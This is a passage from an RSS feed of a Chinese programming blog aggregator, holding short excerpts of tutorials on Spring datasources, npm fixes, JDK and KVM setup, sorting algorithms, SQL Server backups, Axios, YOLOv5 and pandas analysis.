      <description>现如今复杂的业务系统，一般会将数据库按业务拆开，比如产品系统的数据库放在product db中，订单系统的数据库放在order db中...，然后，如果量大了，可能每个库还要考虑做读、写分离，以进一步提高系统性能，下面就来看看如何处理：&#xA;核心思路：配置多个数据源，然后利用RoutingDataSource结合AOP来动态切不同的库。&#xA;存在一下几个问题：&#xA;1、配置文件中，多数据源的配置节点如何设计？&#xA;#yml文件中进行如下配置 druid: type: com.alibaba.druid.pool.DruidDataSource study: master: #study库的主库名 url: jdbc:mysql://localhost:3306/study?useSSL=false&amp;amp;characterEncoding=UTF-8&amp;amp;autoReconnect=true&amp;amp;zeroDateTimeBehavior=convertToNull&amp;amp;useUnicode=true driver-class-name: com.mysql.cj.jdbc.Driver username: root password: 1234 #加密很好 initial-size: 5 min-idle: 1 max-active: 20 test-on-borrow: true slave: #study库的从库名 url: jdbc:mysql://localhost:3306/study_slave?useSSL=false&amp;amp;characterEncoding=UTF-8&amp;amp;autoReconnect=true&amp;amp;zeroDateTimeBehavior=convertToNull&amp;amp;useUnicode=true driver-class-name: com.mysql.cj.jdbc.Driver username: root password: A1b2c3@def.com initial-size: 5 min-idle: 1 max-active: 20 test-on-borrow: true product: master: #product库的主库名 url: jdbc:mysql://localhost:3306/product?useSSL=false&amp;amp;characterEncoding=UTF-8&amp;amp;autoReconnect=true&amp;amp;zeroDateTimeBehavior=convertToNull&amp;amp;useUnicode=true driver-class-name: com.mysql.cj.jdbc.Driver username: root password: 1234 #加密 initial-size: 5 min-idle: 1 max-active: 20 test-on-borrow: true slave: #product库的从库 url: jdbc:mysql://localhost:3306/product_slave?</description>
    </item>
    <item>
      <title>错误解决：These dependencies were not found: core-js/modules/es.array.push.js</title>
      <link>https://bchobby.github.io/posts/599faa5b162a9e0791201d26d8fd69f2/</link>
      <pubDate>Fri, 10 Mar 2023 15:50:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/599faa5b162a9e0791201d26d8fd69f2/</guid>
      <description>错误描述&#xA;执行npm run dev后报错：&#xA;These dependencies were not found:&#xA;* core-js/modules/es.array.push.js in ./node_modules/@babel/runtime/helpers/objectSpread2.js, ./node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/@vue/cli-pluvue?vue&amp;amp;type=script&amp;amp;lang=js&amp;amp; and 9 others&#xA;* core-js/modules/es.error.cause.js in ./node_modules/@babel/runtime/helpers/regeneratorRuntime.js, ./src/utils/request.js and 2 others&#xA;* core-js/modules/es.object.proto.js in ./node_modules/@babel/runtime/helpers/regeneratorRuntime.js&#xA;* core-js/modules/es.regexp.dot-all.js in ./node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/@vue/cli-plugin-babel/node_modules/babel-loader/lib!./node_moduland 1 other&#xA;To install them, you can run: npm install --save core-js/modules/es.array.push.js core-js/modules/es.error.cause.js core-js/modules/es.object.proto.js core-js/modules/es.re&#xA;解决方式&#xA;删除node_modules中的3个文件夹：&#xA;core-js&#xA;core-js-compat&#xA;core-util-js&#xA;之后，再执行&#xA;npm i core-js --save</description>
    </item>
    <item>
      <title>离线安装JDK环境</title>
      <link>https://bchobby.github.io/posts/bb8225c93c5a68881371e39c3bf9d2fb/</link>
      <pubDate>Fri, 10 Mar 2023 15:43:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb8225c93c5a68881371e39c3bf9d2fb/</guid>
      <description> 1、上传JDK环境,不多说自己下载：&#xA;wget --no-check-certificate --no-cookies --header &#34;Cookie: oraclelicense=accept-securebackup-cookie&#34; http://download.oracle.com/otn-pub/java/jdk/8u131-b11/d54c1d3a095b4ff2b6607d096fa80163/jdk-8u131-linux-x64.tar.gz 2、创建文件夹&#xA;3、解压&#xA;mkdir /usr/local/java cd /usr/local/java/ 执行第一步上面得下载命令 tar -zxvf jdk-8u131-linux-x64.tar.gz 4、配置环境变量&#xA;vim /etc/profile 末尾增加下面得 JAVA_HOME=/usr/local/java/jdk1.8.0_131 JRE_HOME=/usr/local/java/jdk1.8.0_131/jre PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib export JAVA_HOME JRE_HOME PATH CLASSPATH 5、刷新配置文件&#xA;source /etc/profile 6、测试&#xA;javac java -version </description>
    </item>
    <item>
      <title>【leetcode学习笔记】堆排序、基数排序、排序算法总结</title>
      <link>https://bchobby.github.io/posts/112811e692786fc067d57feda1287fa9/</link>
      <pubDate>Fri, 10 Mar 2023 15:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/112811e692786fc067d57feda1287fa9/</guid>
      <description> 一、堆排序 1.1 堆 堆：堆是一种特殊的完全二叉树，大根堆是指任意一个结点的值大于它的两个孩子的值；小根堆是指任意一个结点的值小于它的两个孩子的值。&#xA;因为数组可以唯一对应完全二叉树，因此我们可以在数组结构中实现堆的相关工作。比如：对于结点i，它的父结点为(i-1)//2，它的左子结点为2i+1，右子结点为2i+2。&#xA;1.2 堆排序的核心思想 第一步：将数组转化为大根堆&#xA;从一棵空树出发，一个一个点加入，每次加入一个点，都通过一定的操作，使其变成一个大根堆。具体操作为，每一次将新的点放到最后一个叶结点，然后和它的父结点做比较，如果它的值大于父结点的值，那么就交换两个值。然后继续循环，直至它的值小于父节点，或者变成头结点。这样，每次加入一个点以后，我们仍能保持树的大根堆结构。&#xA;第二步：将大根堆转化为升序序列&#xA;首先，将大根堆的根结点，和最后一个叶结点交换，那么最后一个点就有序了。然后再把剩下的结点构成的树还原成一个大根堆。然后再把根结点，和倒数第二个叶结点交换，这样后两个点就有序了，再把剩下的树还原成一个大根堆。如此重复下去，就可以将大根堆的元素一个个弹出，最后就得到了升序数组。&#xA;还原大根堆的方法：将根结点向下比较，如果不是大根堆，就和两个孩子的最大值交换，直至树变成大根堆。&#xA;二、不基于比较的排序 2.1 核心思想 利用数据的内部结构进行排序。&#xA;例：对公司员工的年龄排序，我们知道员工年龄必然介于1-200，因此我们只需要准备一个200维的数组，然后我们遍历所有员工，23岁就让数组的23号元素加1，遍历过一次之后，我们就得到了每个年龄的员工数量，那么我们就可以还原出一个有序的年龄数组。&#xA;2.2 局限性 这种排序方法强依赖于数据的内部结构，就上例而言，年龄构成的是一个“有序”的“有限”集，所以我们才能设计出O(n)的算法。如果我们的数据范围是[-2^-32, 2^32 - 1]的话，我们再设置一个计数数组，就不是很划算了。&#xA;2.3 基数排序 假设给若干个4位数，准备10个桶，根据所有数的千位放到对应的桶中，那么9xxx的桶中的数一定比8xxx的桶中的数大，我们就只需要在每个桶内，对所有数的百位再分桶，如此迭代下去即可。&#xA;基数排序之所以可以免于比较，是因为“数”本身是有“进制”这个概念的，如果我们想要比较的东西没有“进制”的概念，那就没法用基数排序了。&#xA;三、排序算法总结 3.1 排序算法的稳定性 两个相等的数，在经过排序后，是否仍能保持原先的次序。稳定性在基础类型数据中一般不起作用，因为2和2谁先谁后并无所谓。但是在特定场景下，就有意义了。比如说excel的排序功能，原表有“班级”和“年龄”两个列，如果对“年龄”排序，我们希望在“年龄”值相等时“班级”列仍能保持原先的顺序，那么只有具备稳定性的排序算法才有这样的能力。&#xA;选择：[2,2,1]，第一步1和第一个2交换，不稳定&#xA;插入：可以设置相等时插到右边，稳定&#xA;冒泡：可以设置相等时不交换，稳定&#xA;归并：归并时可以设置相等时，指针优先走左半边，稳定&#xA;堆排：每一个结点只能看到它的上下最多三个点，其余的点看不到，不稳定&#xA;快排：不稳定&#xA;3.2 O(nlog n)的算法比较 堆排序：额外空间复杂度O(1)&#xA;快速排序：速度快，O(nlog n)对应的常数较小&#xA;归并排序：稳定&#xA;因此一般情况下，我们都选用速度最快的快速排序。如果我们希望节省空间，那么就采用堆排序。如果对稳定性有要求，就选用归并排序。&#xA;基于比较的排序：&#xA;目前为止，没有算法能使得时间复杂度优于nlogn。目前为止，没有算法能使得时间复杂度O(nlogn)，空间复杂度O(1)，且稳定。 3.3 排序算法的常见坑 归并排序的空间复杂度能否变成O(1)？可以，有内部缓存法，但是不稳定，那为什么不直接用堆呢？原地归并排序能让归并排序的空间复杂度变成O(1)，但是会让时间复杂度变为O(n^2)，那为什么不直接用插入呢？快速排序能不能稳定？可以，有0-1 stable sort，但是空间变成O(n)，那为什么不直接用归并呢？面试题：一个整数数组，要求找到时间O(n)，空间O(1)的方法，使得数组变为奇数在左，偶数在右，且奇数的相对次序不变，偶数的相对次序不变？答案：不存在，如果存在，那么我们就能构建稳定的快速排序算法。因为把奇偶保持次序的分为两部分，等价于将小值和大值保持次序的分为两部分。 </description>
    </item>
    <item>
      <title>exe打包工具：advanced installer介绍（一）</title>
      <link>https://bchobby.github.io/posts/9426dd0ef76d8396699b8c2193e0ca48/</link>
      <pubDate>Fri, 10 Mar 2023 14:03:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9426dd0ef76d8396699b8c2193e0ca48/</guid>
      <description>前言 近年来，web服务逐渐走向云端部署+浏览器化、去APP化，然而exe安装仍有着举足轻重的地位，其好处不言而喻，拿到exe安装包后，基本就可以傻瓜安装和操作了，十分便捷。 业务场景 通过各种IDE/QT/C#/Java等开发工具/语言完成开发任务后，一般会得到三种类型文件，jar、exe、以tomcat/jboss+mysql+..的服务应用。&#xA;有时需无脑单机部署这些应用，给客户展示，此时把应用打包为exe就成了不错的选择。&#xA;打包为exe的好处：点击exe安装包一键部署=自动注册服务+自动启动服务+自动生成桌面快捷方式+自动在开始菜单创建“打开程序、卸载程序”等快捷方式，让程序显得更加专业化。&#xA;本文以 advanced installer 19.7+windows10为依托，把tomcat+mysql+jdk+elasticSearch打包为exe，据此，让不了解该软件的小伙伴，跟着可以制作出自己的exe。 工具种类 市面上的打包工具有很多种，其中install4j、exe4j、launch4j、advanced installer等，想了解更多种类打包工具，点击进入，在此不做过多扩展，本文重点介绍advanced install。 下载地址 官网下载地址：https://www.advancedinstaller.com/download.html、v20.3.2&#xA;一、成果展示 1、点击安装exe包后，自动启动tomcat、mysql、ES服务，自动打开登录界面； 2、在桌面生成登录/启动服务的快捷方式（防止客户不小心关掉黑色服务窗口）； 3、在Windows系统的开始菜单中，创建demoExe文件夹（自定义的工程名称），里面自带登录、启动服务、卸载服务快捷方式。 安装过程 效果展示 桌面生成了对应快捷方式&#xA;开始菜单，生成对应快捷方式&#xA;二、操作步骤 2.1 新建工程 如下图所示，依次点击软件右上角的“文件--新建”&#xA;选择“企业版”、“语言”后点击创建。&#xA;提示：自己实验的话，点击专业版也未尝不可，功能和企业版略有删减。&#xA;2.2 填写软件基本信息 上半部分信息为必填项，默认安装目录会读取这些信息，所以，建议使用字母或英文。&#xA;中间的“产品支持信息”可以据需填写，不是特别重要&#xA;底部的“许可证”可选，当然也可以在后面的对话框中再次选择。两者的区别是，本页面选取“许可证”仅仅会在安装界面展示，不会询问是否同意。&#xA;反之，在对话框中选取的“许可证”会在安装界面，刻意要求必须同意协议许可，才可以继续安装。&#xA;注：这个“许可证”的格式是rtf的，可粗略的认为是word格式的。&#xA;2.3 添加所需打包文件 如下图所示，通过添加文件夹的方式，把需打包程序添加进来，个别文件也可以单独以文件的方式单独添加进来。&#xA;添加后的效果，基本是下面这个样子。&#xA;注：这里使用的mysql和tomcat都是绿色免安装的版本！&#xA;2.4 配置快捷方式 2.4.1 配置桌面快捷方式 具体，配置什么类型的快捷方式，根据你的需求来。程序安装完毕后，这些快捷方式会自动出现在桌面。&#xA;说明：在配置界面，可以修改快捷方式名称和图标。&#xA;需要注意的是，配置的时候，以管理员的身份运行，是可选的&#xA;2.4.2 配置开始菜单中的快捷方式 和上面创建快捷方式，几乎一样，区别是创建的位置不同，创建快捷方式前，建议先创建一个文件夹（可以是中文名称），然后在文件夹中创建快捷方式，里面一般包含一个登录的、一个卸载的、启动服务的快捷方式（可选）&#xA;需要说明的是，卸载的快捷方式，如上图所示，选择卸载就可以了，也是比较省事儿的。&#xA;如果创建的快捷方式选择“已安装程序”，一般指向的是exe或者bat文件，比如你想通过此快捷方式指向bat，bat里写启动某些服务的代码。&#xA;2.5 新建环境变量（可选） 环境变量，一般是JAVA_HOME、path一类的，你安装包中包含的有JRE或jdk，配置的环境变量JAVA_HOME需要指向上面添加文件夹中的jre或jdk。&#xA;此时，就涉及了一个路径的问题，如下图所示，本案例中已添加打包文件的目录结构&#xA;此时的JAVA_HOME就需要配为 [ProgramFilesFolder][Manufacturer]\[ProductName]\RCA-Service\jdk&#xA;至于，[ProgramFilesFolder][Manufacturer]\[ProductName]是怎么来的，它来自于下面2.6中的安装参数，也是默认的，三个变量分别是文件夹名称（默认是program files(x86)）、发布人（填写软件详信息时配的）、工程名称。&#xA;下面是安装后，自动生成的目录&#xA;2.6 安装参数 再次提示：该界面的[ProgramFilesFolder][Manufacturer]\[ProductName]变量会在配置环境变量时用到。&#xA;拓展：版本信息变量为 [|ProductVersion] ，此变量在安装创建界面可以动态调用。</description>
    </item>
    <item>
      <title>配置Clion&#43;OpenOCD&#43;Stm32CubeMX进行优雅的嵌入式开发</title>
      <link>https://bchobby.github.io/posts/50a5723b50481f67b6dbc487b7f341d5/</link>
      <pubDate>Fri, 10 Mar 2023 13:55:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50a5723b50481f67b6dbc487b7f341d5/</guid>
      <description>传统的keil的图形化界面以及各种复杂的操作对我这个想入门的新手很不友好，所以经过一波探索，决定用自己的IDE，即Jetbrain家的Clion进行配置开发，本文详细介绍我自己配置的过程。&#xA;顺便开一个专栏记录我从大二下才开始的单片机学习经过。&#xA;1. 软件环境：&#xA;Windows 11STM32CubeMXClion-2022MinGWOpenOCDarm-none-eabi-gcc 2. 硬件环境：&#xA;stm32f103c6t6A st-link v2 3. 软件下载&#xA;STM32CubeMX下载地址&#xA;STM32CubeMX - STM32Cube initialization code generator - STMicroelectronicshttps://www.st.com/en/development-tools/stm32cubemx.html 注意，本人下载的是老版本6.5.0的，不建议使用最新版本。&#xA;OpenOCD下载地址&#xA;Download OpenOCD for Windows (gnutoolchains.com)https://gnutoolchains.com/arm-eabi/openocd/ 在Clion中配置OpenOCD的方法:&#xA;MinGW：经验证，可以直接使用Clion捆绑的，不用另外下载&#xA;下载地址：Download File List - MinGW - Minimalist GNU for Windows - OSDNhttps://osdn.net/projects/mingw/releases/ arm-none-eabi-gcc：&#xA;Downloads | GNU Arm Embedded Toolchain Downloads – Arm Developerhttps://developer.arm.com/downloads/-/gnu-rm 此处最好下载zip文件解压后使用，将解压后文件的bin目录添加到环境变量中去&#xA;4. Clion中的配置：&#xA;5. 创建项目：&#xA;创建完成后，会生成一个ioc文件，并且弹出一个OpenOCD的配置面板选择，此处我们选择跳过即可。&#xA;然后点击ioc文件，选择在STM32CubeMX中打开&#xA;此时的板子默认的是STM32F0304Px，我们点击左上方Home右边的那个芯片名称：&#xA;在图上的指针处输入你自己板子的对应型号，我这里选择的是STM32f103c6t6A&#xA;（不知道为什么我这里图形化界面的渲染总是会出现错误，但是不影响使用）&#xA;选择后在右下角给出两个板子型号，此处双击你的型号即可&#xA;之后会自动创建一个工程，此处我们对工程进行配置。&#xA;先点击座变一栏的System Core，选择SYS选项&#xA;Debug选择Serial Wire选项</description>
    </item>
    <item>
      <title>三、Deepsrtream 保存图片</title>
      <link>https://bchobby.github.io/posts/2d39696bd1bf2aa337070d7a71dc194f/</link>
      <pubDate>Fri, 10 Mar 2023 13:11:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d39696bd1bf2aa337070d7a71dc194f/</guid>
      <description>前言 DeepStream提供的demo中有相关保存图片的示例，等有时间再进行总结。CSDN有许多关于DeepStream保存图片的文章，大部分都存在内存泄漏问题。&#xA;参考 #if 1 static int dump = 0; if (dump &amp;lt; 150) { GstMapInfo in_map_info; NvBufSurface *surface = NULL; memset (&amp;amp;in_map_info, 0, sizeof (in_map_info)); if (!gst_buffer_map (buf, &amp;amp;in_map_info, GST_MAP_READ)) { g_print (&#34;Error: Failed to map gst buffer\n&#34;); gst_buffer_unmap (buf, &amp;amp;in_map_info); return GST_PAD_PROBE_OK; } cudaError_t cuda_err; NvBufSurfTransformRect src_rect, dst_rect; surface = (NvBufSurface *) in_map_info.data; int batch_size= surface-&amp;gt;batchSize; printf(&#34;\nBatch Size : %d, resolution : %dx%d \n&#34;,batch_size, surface-&amp;gt;surfaceList[0].width, surface-&amp;gt;surfaceList[0].height); src_rect.top = 0; src_rect.</description>
    </item>
    <item>
      <title>微信小程序swiper禁止用户手动滑动</title>
      <link>https://bchobby.github.io/posts/53d568d5ee58a4a852e4592b2a7133e2/</link>
      <pubDate>Fri, 10 Mar 2023 10:39:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53d568d5ee58a4a852e4592b2a7133e2/</guid>
      <description> 用 catchtouchmove 事件来截获用户手动滑动事件，这样既解决了禁用用户手动滑动，有解决了有点击按钮不影响使用&#xA;贴代码：&#xA;WXML:&#xA;&amp;lt;swiper class=&#39;yaohe&#39; vertical=&#39;true&#39; circular=&#39;true&#39; autoplay=&#34;{{autoplay}}&#34; interval=&#34;{{interval}}&#34; duration=&#34;{{duration}}&#34;&amp;gt; &amp;lt;block wx:for=&#39;{{yaohe}}&#39;&amp;gt; &amp;lt;swiper-item catchtouchmove=&#39;catchTouchMove&#39;&amp;gt; &amp;lt;!--重点这里--&amp;gt; &amp;lt;block wx:for=&#39;{{item}}&#39;&amp;gt; &amp;lt;view class=&#39;yaohe_item&#39;&amp;gt; &amp;lt;view class=&#39;yaohe_img&#39;&amp;gt; &amp;lt;image src=&#39;{{item.goods_icon}}&#39;&amp;gt;&amp;lt;/image&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;view class=&#39;yaohe_right&#39;&amp;gt; &amp;lt;view class=&#39;yaohe_text&#39;&amp;gt;{{item.goods_feature}}&amp;lt;/view&amp;gt; &amp;lt;view class=&#39;boss_price&#39;&amp;gt; &amp;lt;view class=&#39;boss&#39;&amp;gt;{{item.shop_name}}&amp;lt;/view&amp;gt; &amp;lt;view class=&#39;price&#39; bindtap=&#39;goGoodsDetail&#39; data-shop_goods_id=&#39;{{item.shop_goods_id}}&#39;&amp;gt;￥{{item.goods_price}}&amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/block&amp;gt; &amp;lt;/swiper-item&amp;gt; &amp;lt;/block&amp;gt; &amp;lt;/swiper&amp;gt; JS:&#xA;// 截获竖向滑动 catchTouchMove:function(res){ return false } </description>
    </item>
    <item>
      <title>Python入门（一）·环境配置与python基础</title>
      <link>https://bchobby.github.io/posts/d78e8cb235da703861276b95fa01c0a3/</link>
      <pubDate>Fri, 10 Mar 2023 10:34:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d78e8cb235da703861276b95fa01c0a3/</guid>
      <description>这篇博客记录我的python入门学习过程。&#xA;使用阿里云服务器ubuntu 18.04&#xA;关于Linux的入门参照上一篇博客&#xA;学习使用的视频来自B站 黑马程序员python教程&#xA;python简介 它是作者基于C语言编辑的解释器&#xA;最大的优点是开源得很早。&#xA;编译器是把编程语言翻译成机器语言使计算机能够读懂的程序。&#xA;编译器有两种，一种是编译器，一种是解释器，它们工作的时间点不同。&#xA;解释性语言会一行行地解释后一行行地提交给cpu，相比于编译性语言，翻译速度较慢；但优点是解释器解释出的代码可以在多平台转移，只要不同平台上有对应平台的解释器，一份代码就可以在多平台上执行。&#xA;python的特点&#xA;1.完全面向对象&#xA;2.拥有强大的标准库&#xA;3.提供大量的第三方模块&#xA;python环境配置 解释器python python2.x解释器 python&#xA;python3.x解释器 python3&#xA;其他解释器：&#xA;CPython——官方版本的C语言实现&#xA;Jython ——可以运行在java平台&#xA;IronPython——可以运行在.NET和Mono平台&#xA;PyPy ——python实现的，支持JIT即时编译&#xA;交互式 ipython 在终端中直接进入python&#xA;可以用exit()退出&#xA;IPython是一个python的交互式shell，在终端用命令ipython3进入。&#xA;支持自动补全&#xA;自动缩进&#xA;支持bash shell命令&#xA;内置了许多有用的功能和函数&#xA;基于BSD开源&#xA;集成开发环境 pycharm IDE 继承开发环境&#xA;继承了开发软件需要的以下工具&#xA;图形用户界面&#xA;代码编辑器（自动补全 自动缩进）&#xA;编译器、解释器&#xA;调试器（断点、单步）&#xA;。。。&#xA;pycharm安装和使用 由于我用的是云服务器ubuntu，没有图形界面，下载pycharm也无法使用，因此这部分暂时不写。如果后续有使用再补充。&#xA;anaconda安装 anaconda是管理python包的一个工具，能提供工具包下载和管理服务。在这里记录一下anaconda安装的过程&#xA;参考链接linux下安装anaconda&#xA;1、进入官网选择要下载的对应操作系统的版本&#xA;https://www.anaconda.com/distribution/&#xA;2.上传到云服务器上。这里我是直接放在普通用户的home目录下的创建的anaconda文件夹。&#xA;3.bash Anaconda3-2021.05-Linux-x86_64.sh&#xA;即执行安装程序，这里文件名可以用自动补全&#xA;根据提示操作，这里把安装位置也放在上述文件夹下——还没弄懂Linux的文件安装是否要遵守什么规则。&#xA;如果提示缺少什么包&#xA;用yum install -y xxxx 安装对应包即可</description>
    </item>
    <item>
      <title>【SQLserver】bat定时自动备份与恢复</title>
      <link>https://bchobby.github.io/posts/18f3b82dbee71f6ce92ebf6dd43a5fc6/</link>
      <pubDate>Fri, 10 Mar 2023 10:33:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18f3b82dbee71f6ce92ebf6dd43a5fc6/</guid>
      <description>项目需求：定时备份A数据库，然后恢复到B数据库。&#xA;一、BAT备份数据库（使用SQLcmd.exe） 1.建立一个bat文件，命名为Abackup.bat @echo off %SQLcmd工具路径。如果没有SQLcmd，官网可以下载% set path=%path%;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn echo 数据库备份开始 SQLcmd.exe -S ip地址 -d 需要备份的数据库名 -U sa -P 123456 -i sqlserverbackup.sql -o sqlserverbackup.out ren sqlserverbackup.out %date:~0,4%%date:~5,2%%date:~8,2%%TIME:~0,2%%TIME:~3,2%%TIME:~6,2%.out echo 数据库备份完成 名称&#xA;解释&#xA;备注&#xA;-i&#xA;调用的SQL格式文件&#xA;-o&#xA;生成的日志文件，格式为out也可以是txt，怎么方便怎么来。&#xA;注：-o命令生成的日志不支持重命名，每次执行完成后都会覆盖上一次执行日志。为了后续维护方便，可以使用ren命令重命名out文件。（即第6行）&#xA;2.建立一个名称为sqlserverbackup，格式为sql的文件。 DECLARE @name varchar(50) DECLARE @datetime char(14) DECLARE @path varchar(255) DECLARE @bakfile varchar(255) set @name=&#39;需要备份的数据库名&#39; set @datetime=CONVERT(char(8),getdate(),112) + REPLACE(CONVERT(char(8),getdate(),108),&#39;:&#39;,&#39;&#39;) set @path=&#39;备份文件保存路径&#39; set @bakfile=@path+&#39;&#39;+@name+&#39;_&#39;+&#39;bak_&#39;+@datetime+&#39;.BAK&#39; backup database @name to disk=@bakfile with name=@name go 二、BAT恢复数据库（使用SQLcmd.</description>
    </item>
    <item>
      <title>Spring Boot&#43;Vue前后端分离项目练习07之网盘项目注册登陆页面实现</title>
      <link>https://bchobby.github.io/posts/781febf1c7c01efa81282ec9af44cc97/</link>
      <pubDate>Thu, 09 Mar 2023 22:29:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/781febf1c7c01efa81282ec9af44cc97/</guid>
      <description>1.Axios安装和接口封装 Axios是一个易用、简洁且高效的http库， 使用Promise管理异步，支持请求和响应拦截器，自动转换JSON数据等高级配置，是在vue项目中十分常见前端请求库，使用以下指令安装。&#xA;npm install axios npm install js-cookie 为了便于后续接口管理，一般都将所有的接口单独放在同一目录下统一管理。在src下新建文件夹request，并创建文件src/request/http.js，后续对接口的baseURL、超时时间、请求和响应拦截、接口类型封装等都将在此文件中。&#xA;http.js&#xA;import axios from &#39;axios&#39; import Cookies from &#39;js-cookie&#39; // 请求超时时间 axios.defaults.timeout = 10000 * 5 // 请求基础URL，对应后台服务接口地址 axios.defaults.baseURL = &#34;http://localhost:8080&#34; // 自定义post请求头 axios.defaults.headers.post[&#39;Content-Type&#39;] = &#39;application/json&#39; // 请求拦截器 axios.interceptors.request.use( (config) =&amp;gt; { //&#x9;自定义请求头 config.headers[&#39;token&#39;] = Cookies.get(&#39;token&#39;) return config }, (error) =&amp;gt; { //&#x9;请求错误时 console.log(error) //&#x9;打印错误信息 return Promise.reject(error) } ) // 响应拦截器 axios.interceptors.response.use( (response) =&amp;gt; { if (response.</description>
    </item>
    <item>
      <title>YOLOV5报错和解决办法合集</title>
      <link>https://bchobby.github.io/posts/098284bba8ed356a3c1b6d41bfc9d6d0/</link>
      <pubDate>Thu, 09 Mar 2023 20:49:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/098284bba8ed356a3c1b6d41bfc9d6d0/</guid>
      <description>一、报错：AttributeError: ‘Hardswish‘ object has no attribute ‘inplace‘&#xA;解决方法：定位到错误的那一行，把其中的self.inplace删掉即可。例：&#xA;改成：&#xA;二、报错问题— assert img0 is not None, ‘Image Not Found ‘ + pathAssertionError: Image Not Found&#xA;解决方法：&#xA;将utils/datasets.py文件中的&#xA;p = str(Path(path).absolute()) # os-agnostic absolute path&#xA;改为&#xA;p = str(Path(path))，重新运行代码即可&#xA;三、报错:RuntimeError: a view of a leaf Variable that requires grad is being used in an in-place&#xA;解决方法：&#xA;在model/yolo.py文件&#xA;添加with torch.no_grad()：如下</description>
    </item>
    <item>
      <title>PTA团队天梯赛 L1-022 奇偶分家</title>
      <link>https://bchobby.github.io/posts/b5460ebae76032593be3ab3ada7a8ea5/</link>
      <pubDate>Thu, 09 Mar 2023 19:40:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5460ebae76032593be3ab3ada7a8ea5/</guid>
      <description> 时间复杂度为O(n)&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; int main(){ int n,jishu = 0,oushu = 0; //数字总数n，奇数个数jishu，偶数个数oushu scanf(&#34;%d&#34;,&amp;amp;n); int *a = (int*)malloc(n*4); //动态分配类型为int，长度为n的数组 int i; for(i = 0;i &amp;lt; n;i++){ scanf(&#34;%d&#34;,&amp;amp;a[i]); } for(i = 0;i &amp;lt; n;i++){ if(a[i] % 2 == 0){ oushu++; } else{ jishu++; } } printf(&#34;%d %d&#34;,jishu,oushu); return 0; } </description>
    </item>
    <item>
      <title>centos7部署KVM虚拟化</title>
      <link>https://bchobby.github.io/posts/578e97057de617fcc07987b7a5e10a46/</link>
      <pubDate>Thu, 09 Mar 2023 17:59:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/578e97057de617fcc07987b7a5e10a46/</guid>
      <description>目录&#xA;centos7部署KVM虚拟化平台&#xA;1、新建一台虚拟机&#xA;2、系统内的操作&#xA;1、修改主机名&#xA;2、挂载镜像光盘&#xA;3、ssh优化&#xA;4、设置本地yum仓库&#xA;5、关闭防火墙，selinux&#xA;3、安装KVM&#xA;4、设置KVM网络&#xA;5、KVM部署与管理&#xA;6、使用虚拟系统管理器管理虚拟机&#xA;创建存储池 创建存储卷 创建虚拟机 命令行模式创建虚拟机&#xA;centos7部署KVM虚拟化平台 实验环境：VMware&#xA;Linux版本：centos7&#xA;1、新建一台虚拟机 ################################################################## 2、系统内的操作 1、修改主机名 hostnamectl set-hostname kvm bash 2、挂载镜像光盘 vim /etc/fstab /dev/cdrom /mnt iso9660 defaults 0 0 mount -a 命令会对/etc/fstab文件里的分区进行挂载，这里使用这条命令可能会报错，镜像光盘可能挂载失败&#xA;[root@kvm ~]# mount -a mount: /dev/sr0 写保护，将以只读方式挂载 mount: 在 /dev/sr0 上找不到媒体 [root@kvm ~]# df -Th 文件系统 类型 容量 已用 可用 已用% 挂载点 devtmpfs devtmpfs 3.8G 0 3.8G 0% /dev tmpfs tmpfs 3.</description>
    </item>
    <item>
      <title>python案例：用户画像分析</title>
      <link>https://bchobby.github.io/posts/acc8e0d3359c3f7fd2095fa23c595490/</link>
      <pubDate>Thu, 09 Mar 2023 17:48:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acc8e0d3359c3f7fd2095fa23c595490/</guid>
      <description>目录 1、项目背景数据 2、标记高潜用户3、基于高潜用户信息进行分析3.1 筛选高潜用户静态数据3.2 高潜客户的客户等级分布3.3 高潜用户的年龄段对比3.4 根据df_ac_cate 和高潜用户id匹配出高潜用户的购买该商品记录3.4 计算周一到周五每天的购买数量 1、项目背景 数据 数据-提取码1111&#xA;用户数据表user_table字段：&#xA;用户行为数据表Data_Action_201602.csv、Data_Action_201603.csv、Data_Action_201604.csv&#xA;2、标记高潜用户 高潜用户应该具备以下特征：&#xA;有购买行为对一个商品购买和其他交互行为（浏览点击收藏等）时间差应该多于一天 问题：数据量太大每个csv中有100多万条数据—分数据块读取&#xA;1，数据合并提取&#xA;# 读取文件数据。迭代器，1万条1万条的读取 def read_actionData(filePath,size=10000): df = pd.read_csv(filePath,header=0,iterator=True)#迭代器格式,一部分一部分的读取 chunks = [] #保存数据块的列表 loop = True #循环起始值 while loop: try: chunk = df.get_chunk(size)[[&#39;user_id&#39;,&#39;sku_id&#39;,&#39;type&#39;,&#39;time&#39;,&#39;cate&#39;]] chunks.append(chunk) except StopIteration: loop = False print(&#39;StopIteration is stopped&#39;) df_ac = pd.concat(chunks,ignore_index=True) return df_ac #讲多个表的数据合并在一起 df_ac =[] df_ac.append(read_actionData(filePath=&#39;Data_Action_201602.csv&#39;)) df_ac.append(read_actionData(filePath=&#39;Data_Action_201603.csv&#39;)) df_ac.append(read_actionData(filePath=&#39;Data_Action_201604.csv&#39;)) df_ac = pd.concat(df_ac,ignore_index=True) df_ac 2，下单人群–type为4的数据&#xA;针对的是已经下单用户&#xA;df_ac_type = 